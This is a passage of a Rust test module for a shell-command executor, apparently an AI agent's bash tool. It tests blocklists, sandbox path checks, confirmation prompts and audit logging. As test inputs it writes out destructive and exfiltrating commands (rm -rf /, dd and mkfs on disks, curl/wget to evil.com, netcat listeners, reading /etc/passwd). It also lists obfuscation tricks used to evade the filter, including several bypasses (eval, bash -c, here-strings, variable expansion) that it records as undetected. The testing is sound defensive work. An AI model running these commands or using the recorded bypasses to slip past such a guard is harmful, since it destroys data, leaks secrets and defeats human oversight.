1207 assert!(executor.find_blocked_command("SuDo apt install").is_some());
1208 assert!(
1209 executor
1210 .find_blocked_command("MKFS.ext4 /dev/sda")
1211 .is_some()
1212 );
1213 assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1214 assert!(executor.find_blocked_command("RM -RF /").is_some());
1215 }
1216
1217 #[test]
1218 fn safe_command_passes() {
1219 let executor = ShellExecutor::new(&default_config());
1220 assert!(executor.find_blocked_command("echo hello").is_none());
1221 assert!(executor.find_blocked_command("ls -la").is_none());
1222 assert!(executor.find_blocked_command("cat file.txt").is_none());
1223 assert!(executor.find_blocked_command("cargo build").is_none());
1224 }
1225
1226 #[test]
1227 fn partial_match_accepted_tradeoff() {
1228 let executor = ShellExecutor::new(&default_config());
1229 assert!(executor.find_blocked_command("sudoku").is_none());
1231 }
1232
1233 #[test]
1234 fn multiline_command_blocked() {
1235 let executor = ShellExecutor::new(&default_config());
1236 assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1237 }
1238
1239 #[test]
1240 fn dd_pattern_blocks_dd_if() {
1241 let executor = ShellExecutor::new(&default_config());
1242 assert!(
1243 executor
1244 .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1245 .is_some()
1246 );
1247 }
1248
1249 #[test]
1250 fn mkfs_pattern_blocks_variants() {
1251 let executor = ShellExecutor::new(&default_config());
1252 assert!(
1253 executor
1254 .find_blocked_command("mkfs.ext4 /dev/sda")
1255 .is_some()
1256 );
1257 assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1258 }
1259
1260 #[test]
1261 fn empty_command_not_blocked() {
1262 let executor = ShellExecutor::new(&default_config());
1263 assert!(executor.find_blocked_command("").is_none());
1264 }
1265
1266 #[test]
1267 fn duplicate_patterns_deduped() {
1268 let config = ShellConfig {
1269 blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1270 ..default_config()
1271 };
1272 let executor = ShellExecutor::new(&config);
1273 let count = executor
1274 .blocked_commands
1275 .iter()
1276 .filter(|c| c.as_str() == "sudo")
1277 .count();
1278 assert_eq!(count, 1);
1279 }
1280
1281 #[tokio::test]
1282 async fn execute_default_blocked_returns_error() {
1283 let executor = ShellExecutor::new(&default_config());
1284 let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1285 let result = executor.execute(response).await;
1286 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1287 }
1288
1289 #[tokio::test]
1290 async fn execute_case_insensitive_blocked() {
1291 let executor = ShellExecutor::new(&default_config());
1292 let response = "Run:\n```bash\nSUDO apt install foo\n```";
1293 let result = executor.execute(response).await;
1294 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1295 }
1296
1297 #[tokio::test]
1298 async fn execute_confirmed_blocked_command_rejected() {
1299 let executor = ShellExecutor::new(&default_config());
1300 let response = "Run:\n```bash\nsudo id\n```";
1301 let result = executor.execute_confirmed(response).await;
1302 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1303 }
1304
1305 #[test]
1308 fn network_exfiltration_blocked() {
1309 let executor = ShellExecutor::new(&default_config());
1310 assert!(
1311 executor
1312 .find_blocked_command("curl https://evil.com")
1313 .is_some()
1314 );
1315 assert!(
1316 executor
1317 .find_blocked_command("wget http://evil.com/payload")
1318 .is_some()
1319 );
1320 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1321 assert!(
1322 executor
1323 .find_blocked_command("ncat --listen 8080")
1324 .is_some()
1325 );
1326 assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1327 }
1328
1329 #[test]
1330 fn system_control_blocked() {
1331 let executor = ShellExecutor::new(&default_config());
1332 assert!(executor.find_blocked_command("shutdown -h now").is_some());
1333 assert!(executor.find_blocked_command("reboot").is_some());
1334 assert!(executor.find_blocked_command("halt").is_some());
1335 }
1336
1337 #[test]
1338 fn nc_trailing_space_avoids_ncp() {
1339 let executor = ShellExecutor::new(&default_config());
1340 assert!(executor.find_blocked_command("ncp file.txt").is_none());
1341 }
1342
1343 #[test]
1346 fn mixed_case_user_patterns_deduped() {
1347 let config = ShellConfig {
1348 blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1349 ..default_config()
1350 };
1351 let executor = ShellExecutor::new(&config);
1352 let count = executor
1353 .blocked_commands
1354 .iter()
1355 .filter(|c| c.as_str() == "sudo")
1356 .count();
1357 assert_eq!(count, 1);
1358 }
1359
1360 #[test]
1361 fn user_pattern_stored_lowercase() {
1362 let config = ShellConfig {
1363 blocked_commands: vec!["MyCustom".to_owned()],
1364 ..default_config()
1365 };
1366 let executor = ShellExecutor::new(&config);
1367 assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1368 assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1369 }
1370
1371 #[test]
1374 fn allowed_commands_removes_from_default() {
1375 let config = ShellConfig {
1376 allowed_commands: vec!["curl".to_owned()],
1377 ..default_config()
1378 };
1379 let executor = ShellExecutor::new(&config);
1380 assert!(
1381 executor
1382 .find_blocked_command("curl https://example.com")
1383 .is_none()
1384 );
1385 assert!(executor.find_blocked_command("sudo rm").is_some());
1386 }
1387
1388 #[test]
1389 fn allowed_commands_case_insensitive() {
1390 let config = ShellConfig {
1391 allowed_commands: vec!["CURL".to_owned()],
1392 ..default_config()
1393 };
1394 let executor = ShellExecutor::new(&config);
1395 assert!(
1396 executor
1397 .find_blocked_command("curl https://example.com")
1398 .is_none()
1399 );
1400 }
1401
1402 #[test]
1403 fn allowed_does_not_override_explicit_block() {
1404 let config = ShellConfig {
1405 blocked_commands: vec!["curl".to_owned()],
1406 allowed_commands: vec!["curl".to_owned()],
1407 ..default_config()
1408 };
1409 let executor = ShellExecutor::new(&config);
1410 assert!(
1411 executor
1412 .find_blocked_command("curl https://example.com")
1413 .is_some()
1414 );
1415 }
1416
1417 #[test]
1418 fn allowed_unknown_command_ignored() {
1419 let config = ShellConfig {
1420 allowed_commands: vec!["nonexistent-cmd".to_owned()],
1421 ..default_config()
1422 };
1423 let executor = ShellExecutor::new(&config);
1424 assert!(executor.find_blocked_command("sudo rm").is_some());
1425 assert!(
1426 executor
1427 .find_blocked_command("curl https://example.com")
1428 .is_some()
1429 );
1430 }
1431
1432 #[test]
1433 fn empty_allowed_commands_changes_nothing() {
1434 let executor = ShellExecutor::new(&default_config());
1435 assert!(
1436 executor
1437 .find_blocked_command("curl https://example.com")
1438 .is_some()
1439 );
1440 assert!(executor.find_blocked_command("sudo rm").is_some());
1441 assert!(
1442 executor
1443 .find_blocked_command("wget http://evil.com")
1444 .is_some()
1445 );
1446 }
1447
1448 #[test]
1451 fn extract_paths_from_code() {
1452 let paths = extract_paths("cat /etc/passwd && ls /var/log");
1453 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1454 }
1455
1456 #[test]
1457 fn extract_paths_handles_trailing_chars() {
1458 let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1459 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1460 }
1461
1462 #[test]
1463 fn extract_paths_detects_relative() {
1464 let paths = extract_paths("cat ./file.txt ../other");
1465 assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1466 }
1467
1468 #[test]
1469 fn sandbox_allows_cwd_by_default() {
1470 let executor = ShellExecutor::new(&default_config());
1471 let cwd = std::env::current_dir().unwrap();
1472 let cwd_path = cwd.display().to_string();
1473 let code = format!("cat {cwd_path}/file.txt");
1474 assert!(executor.validate_sandbox(&code).is_ok());
1475 }
1476
1477 #[test]
1478 fn sandbox_rejects_path_outside_allowed() {
1479 let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1480 let executor = ShellExecutor::new(&config);
1481 let result = executor.validate_sandbox("cat /etc/passwd");
1482 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1483 }
1484
1485 #[test]
1486 fn sandbox_no_absolute_paths_passes() {
1487 let config = sandbox_config(vec!["/tmp".into()]);
1488 let executor = ShellExecutor::new(&config);
1489 assert!(executor.validate_sandbox("echo hello").is_ok());
1490 }
1491
1492 #[test]
1493 fn sandbox_rejects_dotdot_traversal() {
1494 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1495 let executor = ShellExecutor::new(&config);
1496 let result = executor.validate_sandbox("cat ../../../etc/passwd");
1497 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1498 }
1499
1500 #[test]
1501 fn sandbox_rejects_bare_dotdot() {
1502 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1503 let executor = ShellExecutor::new(&config);
1504 let result = executor.validate_sandbox("cd ..");
1505 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1506 }
1507
1508 #[test]
1509 fn sandbox_rejects_relative_dotslash_outside() {
1510 let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1511 let executor = ShellExecutor::new(&config);
1512 let result = executor.validate_sandbox("cat ./secret.txt");
1513 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1514 }
1515
1516 #[test]
1517 fn sandbox_rejects_absolute_with_embedded_dotdot() {
1518 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1519 let executor = ShellExecutor::new(&config);
1520 let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1521 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1522 }
1523
1524 #[test]
1525 fn has_traversal_detects_dotdot() {
1526 assert!(has_traversal("../etc/passwd"));
1527 assert!(has_traversal("./foo/../bar"));
1528 assert!(has_traversal("/tmp/sandbox/../../etc"));
1529 assert!(has_traversal(".."));
1530 assert!(!has_traversal("./safe/path"));
1531 assert!(!has_traversal("/absolute/path"));
1532 assert!(!has_traversal("no-dots-here"));
1533 }
1534
1535 #[test]
1536 fn extract_paths_detects_dotdot_standalone() {
1537 let paths = extract_paths("cd ..");
1538 assert_eq!(paths, vec!["..".to_owned()]);
1539 }
1540
1541 #[test]
1544 fn allow_network_false_blocks_network_commands() {
1545 let config = ShellConfig {
1546 allow_network: false,
1547 ..default_config()
1548 };
1549 let executor = ShellExecutor::new(&config);
1550 assert!(
1551 executor
1552 .find_blocked_command("curl https://example.com")
1553 .is_some()
1554 );
1555 assert!(
1556 executor
1557 .find_blocked_command("wget http://example.com")
1558 .is_some()
1559 );
1560 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1561 }
1562
1563 #[test]
1564 fn allow_network_true_keeps_default_behavior() {
1565 let config = ShellConfig {
1566 allow_network: true,
1567 ..default_config()
1568 };
1569 let executor = ShellExecutor::new(&config);
1570 assert!(
1572 executor
1573 .find_blocked_command("curl https://example.com")
1574 .is_some()
1575 );
1576 }
1577
1578 #[test]
1581 fn find_confirm_command_matches_pattern() {
1582 let config = ShellConfig {
1583 confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1584 ..default_config()
1585 };
1586 let executor = ShellExecutor::new(&config);
1587 assert_eq!(
1588 executor.find_confirm_command("rm /tmp/file.txt"),
1589 Some("rm ")
1590 );
1591 assert_eq!(
1592 executor.find_confirm_command("git push -f origin main"),
1593 Some("git push -f")
1594 );
1595 }
1596
1597 #[test]
1598 fn find_confirm_command_case_insensitive() {
1599 let config = ShellConfig {
1600 confirm_patterns: vec!["drop table".into()],
1601 ..default_config()
1602 };
1603 let executor = ShellExecutor::new(&config);
1604 assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1605 }
1606
1607 #[test]
1608 fn find_confirm_command_no_match() {
1609 let config = ShellConfig {
1610 confirm_patterns: vec!["rm ".into()],
1611 ..default_config()
1612 };
1613 let executor = ShellExecutor::new(&config);
1614 assert!(executor.find_confirm_command("echo hello").is_none());
1615 }
1616
1617 #[tokio::test]
1618 async fn confirmation_required_returned() {
1619 let config = ShellConfig {
1620 confirm_patterns: vec!["rm ".into()],
1621 ..default_config()
1622 };
1623 let executor = ShellExecutor::new(&config);
1624 let response = "```bash\nrm file.txt\n```";
1625 let result = executor.execute(response).await;
1626 assert!(matches!(
1627 result,
1628 Err(ToolError::ConfirmationRequired { .. })
1629 ));
1630 }
1631
1632 #[tokio::test]
1633 async fn execute_confirmed_skips_confirmation() {
1634 let config = ShellConfig {
1635 confirm_patterns: vec!["echo".into()],
1636 ..default_config()
1637 };
1638 let executor = ShellExecutor::new(&config);
1639 let response = "```bash\necho confirmed\n```";
1640 let result = executor.execute_confirmed(response).await;
1641 assert!(result.is_ok());
1642 let output = result.unwrap().unwrap();
1643 assert!(output.summary.contains("confirmed"));
1644 }
1645
1646 #[test]
1649 fn default_confirm_patterns_loaded() {
1650 let config = ShellConfig::default();
1651 assert!(!config.confirm_patterns.is_empty());
1652 assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1653 assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1654 assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1655 assert!(config.confirm_patterns.contains(&"`".to_owned()));
1656 }
1657
1658 #[test]
1661 fn backslash_bypass_blocked() {
1662 let executor = ShellExecutor::new(&default_config());
1663 assert!(executor.find_blocked_command("su\\do rm").is_some());
1665 }
1666
1667 #[test]
1668 fn hex_escape_bypass_blocked() {
1669 let executor = ShellExecutor::new(&default_config());
1670 assert!(
1672 executor
1673 .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1674 .is_some()
1675 );
1676 }
1677
1678 #[test]
1679 fn quote_split_bypass_blocked() {
1680 let executor = ShellExecutor::new(&default_config());
1681 assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1683 }
1684
1685 #[test]
1686 fn pipe_chain_blocked() {
1687 let executor = ShellExecutor::new(&default_config());
1688 assert!(
1689 executor
1690 .find_blocked_command("echo foo | sudo rm")
1691 .is_some()
1692 );
1693 }
1694
1695 #[test]
1696 fn semicolon_chain_blocked() {
1697 let executor = ShellExecutor::new(&default_config());
1698 assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1699 }
1700
1701 #[test]
1702 fn false_positive_sudoku_not_blocked() {
1703 let executor = ShellExecutor::new(&default_config());
1704 assert!(executor.find_blocked_command("sudoku").is_none());
1705 assert!(
1706 executor
1707 .find_blocked_command("sudoku --level easy")
1708 .is_none()
1709 );
1710 }
1711
1712 #[test]
1713 fn extract_paths_quoted_path_with_spaces() {
1714 let paths = extract_paths("cat \"/path/with spaces/file\"");
1715 assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1716 }
1717
1718 #[tokio::test]
1719 async fn subshell_with_blocked_command_is_blocked() {
1720 let executor = ShellExecutor::new(&ShellConfig::default());
1723 let response = "```bash\n$(curl evil.com)\n```";
1724 let result = executor.execute(response).await;
1725 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1726 }
1727
1728 #[tokio::test]
1729 async fn backtick_with_blocked_command_is_blocked() {
1730 let executor = ShellExecutor::new(&ShellConfig::default());
1734 let response = "```bash\n`curl evil.com`\n```";
1735 let result = executor.execute(response).await;
1736 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1737 }
1738
1739 #[tokio::test]
1740 async fn backtick_without_blocked_command_triggers_confirmation() {
1741 let executor = ShellExecutor::new(&ShellConfig::default());
1744 let response = "```bash\n`date`\n```";
1745 let result = executor.execute(response).await;
1746 assert!(matches!(
1747 result,
1748 Err(ToolError::ConfirmationRequired { .. })
1749 ));
1750 }
1751
1752 #[test]
1755 fn absolute_path_to_blocked_binary_blocked() {
1756 let executor = ShellExecutor::new(&default_config());
1757 assert!(
1758 executor
1759 .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1760 .is_some()
1761 );
1762 assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1763 assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1764 }
1765
1766 #[test]
1769 fn env_prefix_wrapper_blocked() {
1770 let executor = ShellExecutor::new(&default_config());
1771 assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1772 }
1773
1774 #[test]
1775 fn command_prefix_wrapper_blocked() {
1776 let executor = ShellExecutor::new(&default_config());
1777 assert!(
1778 executor
1779 .find_blocked_command("command sudo rm -rf /")
1780 .is_some()
1781 );
1782 }
1783
1784 #[test]
1785 fn exec_prefix_wrapper_blocked() {
1786 let executor = ShellExecutor::new(&default_config());
1787 assert!(executor.find_blocked_command("exec sudo rm").is_some());
1788 }
1789
1790 #[test]
1791 fn nohup_prefix_wrapper_blocked() {
1792 let executor = ShellExecutor::new(&default_config());
1793 assert!(executor.find_blocked_command("nohup reboot now").is_some());
1794 }
1795
1796 #[test]
1797 fn absolute_path_via_env_wrapper_blocked() {
1798 let executor = ShellExecutor::new(&default_config());
1799 assert!(
1800 executor
1801 .find_blocked_command("env /usr/bin/sudo rm -rf /")
1802 .is_some()
1803 );
1804 }
1805
1806 #[test]
1809 fn octal_escape_bypass_blocked() {
1810 let executor = ShellExecutor::new(&default_config());
1811 assert!(
1813 executor
1814 .find_blocked_command("$'\\163\\165\\144\\157' rm")
1815 .is_some()
1816 );
1817 }
1818
1819 #[tokio::test]
1820 async fn with_audit_attaches_logger() {
1821 use crate::audit::AuditLogger;
1822 use crate::config::AuditConfig;
1823 let config = default_config();
1824 let executor = ShellExecutor::new(&config);
1825 let audit_config = AuditConfig {
1826 enabled: true,
1827 destination: "stdout".into(),
1828 };
1829 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1830 let executor = executor.with_audit(logger);
1831 assert!(executor.audit_logger.is_some());
1832 }
1833
1834 #[test]
1835 fn chrono_now_returns_valid_timestamp() {
1836 let ts = chrono_now();
1837 assert!(!ts.is_empty());
1838 let parsed: u64 = ts.parse().unwrap();
1839 assert!(parsed > 0);
1840 }
1841
1842 #[cfg(unix)]
1843 #[tokio::test]
1844 async fn execute_bash_injects_extra_env() {
1845 let mut env = std::collections::HashMap::new();
1846 env.insert(
1847 "ZEPH_TEST_INJECTED_VAR".to_owned(),
1848 "hello-from-env".to_owned(),
1849 );
1850 let (result, code) = execute_bash(
1851 "echo $ZEPH_TEST_INJECTED_VAR",
1852 Duration::from_secs(5),
1853 None,
1854 None,
1855 Some(&env),
1856 )
1857 .await;
1858 assert_eq!(code, 0);
1859 assert!(result.contains("hello-from-env"));
1860 }
1861
1862 #[cfg(unix)]
1863 #[tokio::test]
1864 async fn shell_executor_set_skill_env_injects_vars() {
1865 use crate::executor::ToolExecutor;
1866
1867 let config = ShellConfig {
1868 timeout: 5,
1869 allowed_commands: vec![],
1870 blocked_commands: vec![],
1871 allowed_paths: vec![],
1872 confirm_patterns: vec![],
1873 allow_network: false,
1874 };
1875
1876 let executor = ShellExecutor::new(&config);
1877 let mut env = std::collections::HashMap::new();
1878 env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1879 executor.set_skill_env(Some(env));
1880 let result = executor
1881 .execute("```bash\necho $MY_SKILL_SECRET\n```")
1882 .await
1883 .unwrap()
1884 .unwrap();
1885 assert!(result.summary.contains("injected-value"));
1886 executor.set_skill_env(None);
1887 }
1888
1889 #[cfg(unix)]
1890 #[tokio::test]
1891 async fn execute_bash_error_handling() {
1892 let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1893 assert_eq!(result, "(no output)");
1894 assert_eq!(code, 1);
1895 }
1896
1897 #[cfg(unix)]
1898 #[tokio::test]
1899 async fn execute_bash_command_not_found() {
1900 let (result, _) = execute_bash(
1901 "nonexistent-command-xyz",
1902 Duration::from_secs(5),
1903 None,
1904 None,
1905 None,
1906 )
1907 .await;
1908 assert!(result.contains("[stderr]") || result.contains("[error]"));
1909 }
1910
1911 #[test]
1912 fn extract_paths_empty() {
1913 assert!(extract_paths("").is_empty());
1914 }
1915
1916 #[tokio::test]
1917 async fn policy_deny_blocks_command() {
1918 let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1919 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1920 let response = "```bash\nforbidden command\n```";
1921 let result = executor.execute(response).await;
1922 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1923 }
1924
1925 #[tokio::test]
1926 async fn policy_ask_requires_confirmation() {
1927 let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1928 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1929 let response = "```bash\nrisky operation\n```";
1930 let result = executor.execute(response).await;
1931 assert!(matches!(
1932 result,
1933 Err(ToolError::ConfirmationRequired { .. })
1934 ));
1935 }
1936
1937 #[tokio::test]
1938 async fn policy_allow_skips_checks() {
1939 use crate::permissions::PermissionRule;
1940 use std::collections::HashMap;
1941 let mut rules = HashMap::new();
1942 rules.insert(
1943 "bash".to_owned(),
1944 vec![PermissionRule {
1945 pattern: "*".to_owned(),
1946 action: PermissionAction::Allow,
1947 }],
1948 );
1949 let policy = PermissionPolicy::new(rules);
1950 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1951 let response = "```bash\necho hello\n```";
1952 let result = executor.execute(response).await;
1953 assert!(result.is_ok());
1954 }
1955
1956 #[tokio::test]
1957 async fn blocked_command_logged_to_audit() {
1958 use crate::audit::AuditLogger;
1959 use crate::config::AuditConfig;
1960 let config = ShellConfig {
1961 blocked_commands: vec!["dangerous".to_owned()],
1962 ..default_config()
1963 };
1964 let audit_config = AuditConfig {
1965 enabled: true,
1966 destination: "stdout".into(),
1967 };
1968 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1969 let executor = ShellExecutor::new(&config).with_audit(logger);
1970 let response = "```bash\ndangerous command\n```";
1971 let result = executor.execute(response).await;
1972 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1973 }
1974
1975 #[test]
1976 fn tool_definitions_returns_bash() {
1977 let executor = ShellExecutor::new(&default_config());
1978 let defs = executor.tool_definitions();
1979 assert_eq!(defs.len(), 1);
1980 assert_eq!(defs[0].id, "bash");
1981 assert_eq!(
1982 defs[0].invocation,
1983 crate::registry::InvocationHint::FencedBlock("bash")
1984 );
1985 }
1986
1987 #[test]
1988 fn tool_definitions_schema_has_command_param() {
1989 let executor = ShellExecutor::new(&default_config());
1990 let defs = executor.tool_definitions();
1991 let obj = defs[0].schema.as_object().unwrap();
1992 let props = obj["properties"].as_object().unwrap();
1993 assert!(props.contains_key("command"));
1994 let req = obj["required"].as_array().unwrap();
1995 assert!(req.iter().any(|v| v.as_str() == Some("command")));
1996 }
1997
1998 #[tokio::test]
1999 #[cfg(not(target_os = "windows"))]
2000 async fn cancel_token_kills_child_process() {
2001 let token = CancellationToken::new();
2002 let token_clone = token.clone();
2003 tokio::spawn(async move {
2004 tokio::time::sleep(Duration::from_millis(100)).await;
2005 token_clone.cancel();
2006 });
2007 let (result, code) = execute_bash(
2008 "sleep 60",
2009 Duration::from_secs(30),
2010 None,
2011 Some(&token),
2012 None,
2013 )
2014 .await;
2015 assert_eq!(code, 130);
2016 assert!(result.contains("[cancelled]"));
2017 }
2018
2019 #[tokio::test]
2020 #[cfg(not(target_os = "windows"))]
2021 async fn cancel_token_none_does_not_cancel() {
2022 let (result, code) =
2023 execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
2024 assert_eq!(code, 0);
2025 assert!(result.contains("ok"));
2026 }
2027
2028 #[tokio::test]
2029 #[cfg(not(target_os = "windows"))]
2030 async fn cancel_kills_child_process_group() {
2031 use std::path::Path;
2032 let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
2033 let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
2034 let token = CancellationToken::new();
2035 let token_clone = token.clone();
2036 tokio::spawn(async move {
2037 tokio::time::sleep(Duration::from_millis(200)).await;
2038 token_clone.cancel();
2039 });
2040 let (result, code) =
2041 execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
2042 assert_eq!(code, 130);
2043 assert!(result.contains("[cancelled]"));
2044 tokio::time::sleep(Duration::from_millis(500)).await;
2046 assert!(
2047 !Path::new(&marker).exists(),
2048 "subprocess should have been killed with process group"
2049 );
2050 }
2051
2052 #[tokio::test]
2053 #[cfg(not(target_os = "windows"))]
2054 async fn shell_executor_cancel_returns_cancelled_error() {
2055 let token = CancellationToken::new();
2056 let token_clone = token.clone();
2057 tokio::spawn(async move {
2058 tokio::time::sleep(Duration::from_millis(100)).await;
2059 token_clone.cancel();
2060 });
2061 let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
2062 let response = "```bash\nsleep 60\n```";
2063 let result = executor.execute(response).await;
2064 assert!(matches!(result, Err(ToolError::Cancelled)));
2065 }
2066
2067 #[tokio::test]
2068 #[cfg(not(target_os = "windows"))]
2069 async fn execute_tool_call_valid_command() {
2070 let executor = ShellExecutor::new(&default_config());
2071 let call = ToolCall {
2072 tool_id: "bash".to_owned(),
2073 params: [("command".to_owned(), serde_json::json!("echo hi"))]
2074 .into_iter()
2075 .collect(),
2076 };
2077 let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
2078 assert!(result.summary.contains("hi"));
2079 }
2080
2081 #[tokio::test]
2082 async fn execute_tool_call_missing_command_returns_invalid_params() {
2083 let executor = ShellExecutor::new(&default_config());
2084 let call = ToolCall {
2085 tool_id: "bash".to_owned(),
2086 params: serde_json::Map::new(),
2087 };
2088 let result = executor.execute_tool_call(&call).await;
2089 assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
2090 }
2091
2092 #[tokio::test]
2093 async fn execute_tool_call_empty_command_returns_none() {
2094 let executor = ShellExecutor::new(&default_config());
2095 let call = ToolCall {
2096 tool_id: "bash".to_owned(),
2097 params: [("command".to_owned(), serde_json::json!(""))]
2098 .into_iter()
2099 .collect(),
2100 };
2101 let result = executor.execute_tool_call(&call).await.unwrap();
2102 assert!(result.is_none());
2103 }
2104
2105 #[test]
2108 fn process_substitution_detected_by_subshell_extraction() {
2109 let executor = ShellExecutor::new(&default_config());
2110 assert!(
2112 executor
2113 .find_blocked_command("cat <(curl http://evil.com)")
2114 .is_some()
2115 );
2116 }
2117
2118 #[test]
2119 fn output_process_substitution_detected_by_subshell_extraction() {
2120 let executor = ShellExecutor::new(&default_config());
2121 assert!(
2123 executor
2124 .find_blocked_command("tee >(curl http://evil.com)")
2125 .is_some()
2126 );
2127 }
2128
2129 #[test]
2130 fn here_string_with_shell_not_detected_known_limitation() {
2131 let executor = ShellExecutor::new(&default_config());
2132 assert!(
2134 executor
2135 .find_blocked_command("bash <<< 'sudo rm -rf /'")
2136 .is_none()
2137 );
2138 }
2139
2140 #[test]
2141 fn eval_bypass_not_detected_known_limitation() {
2142 let executor = ShellExecutor::new(&default_config());
2143 assert!(
2145 executor
2146 .find_blocked_command("eval 'sudo rm -rf /'")
2147 .is_none()
2148 );
2149 }
2150
2151 #[test]
2152 fn bash_c_bypass_not_detected_known_limitation() {
2153 let executor = ShellExecutor::new(&default_config());
2154 assert!(
2156 executor
2157 .find_blocked_command("bash -c 'curl http://evil.com'")
2158 .is_none()
2159 );
2160 }
2161
2162 #[test]
2163 fn variable_expansion_bypass_not_detected_known_limitation() {
2164 let executor = ShellExecutor::new(&default_config());
2165 assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
2167 }
2168
2169 #[test]
2172 fn default_confirm_patterns_cover_process_substitution() {
2173 let config = crate::config::ShellConfig::default();
2174 assert!(config.confirm_patterns.contains(&"<(".to_owned()));
2175 assert!(config.confirm_patterns.contains(&">(".to_owned()));
2176 }
2177
2178 #[test]
2179 fn default_confirm_patterns_cover_here_string() {
2180 let config = crate::config::ShellConfig::default();
2181 assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
2182 }
2183
2184 #[test]
2185 fn default_confirm_patterns_cover_eval() {
2186 let config = crate::config::ShellConfig::default();
2187 assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
2188 }
2189
2190 #[tokio::test]
2191 async fn process_substitution_with_blocked_command_is_blocked() {
2192 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2195 let response = "```bash\ncat <(curl http://evil.com)\n```";
2196 let result = executor.execute(response).await;
2197 assert!(matches!(result, Err(ToolError::Blocked { .. })));
2198 }
2199
2200 #[tokio::test]
2201 async fn here_string_triggers_confirmation() {
2202 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2203 let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
2204 let result = executor.execute(response).await;
2205 assert!(matches!(
2206 result,
2207 Err(ToolError::ConfirmationRequired { .. })
2208 ));
2209 }
2210
2211 #[tokio::test]
2212 async fn eval_triggers_confirmation() {
2213 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2214 let response = "```bash\neval 'curl http://evil.com'\n```";
2215 let result = executor.execute(response).await;
2216 assert!(matches!(
2217 result,
2218 Err(ToolError::ConfirmationRequired { .. })
2219 ));
2220 }
2221
2222 #[tokio::test]
2223 async fn output_process_substitution_with_blocked_command_is_blocked() {
2224 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2227 let response = "```bash\ntee >(curl http://evil.com)\n```";
2228 let result = executor.execute(response).await;
2229 assert!(matches!(result, Err(ToolError::Blocked { .. })));
2230 }
2231
2232 #[test]
2233 fn here_string_with_command_substitution_not_detected_known_limitation() {
2234 let executor = ShellExecutor::new(&default_config());
2235 assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2237 }
2238
2239 fn default_blocklist() -> Vec<String> {
2242 DEFAULT_BLOCKED.iter().map(|s| (*s).to_owned()).collect()
2243 }
2244
2245 #[test]
2246 fn check_blocklist_blocks_rm_rf_root() {
2247 let bl = default_blocklist();
2248 assert!(check_blocklist("rm -rf /", &bl).is_some());
2249 }
2250
2251 #[test]
2252 fn check_blocklist_blocks_sudo() {
2253 let bl = default_blocklist();
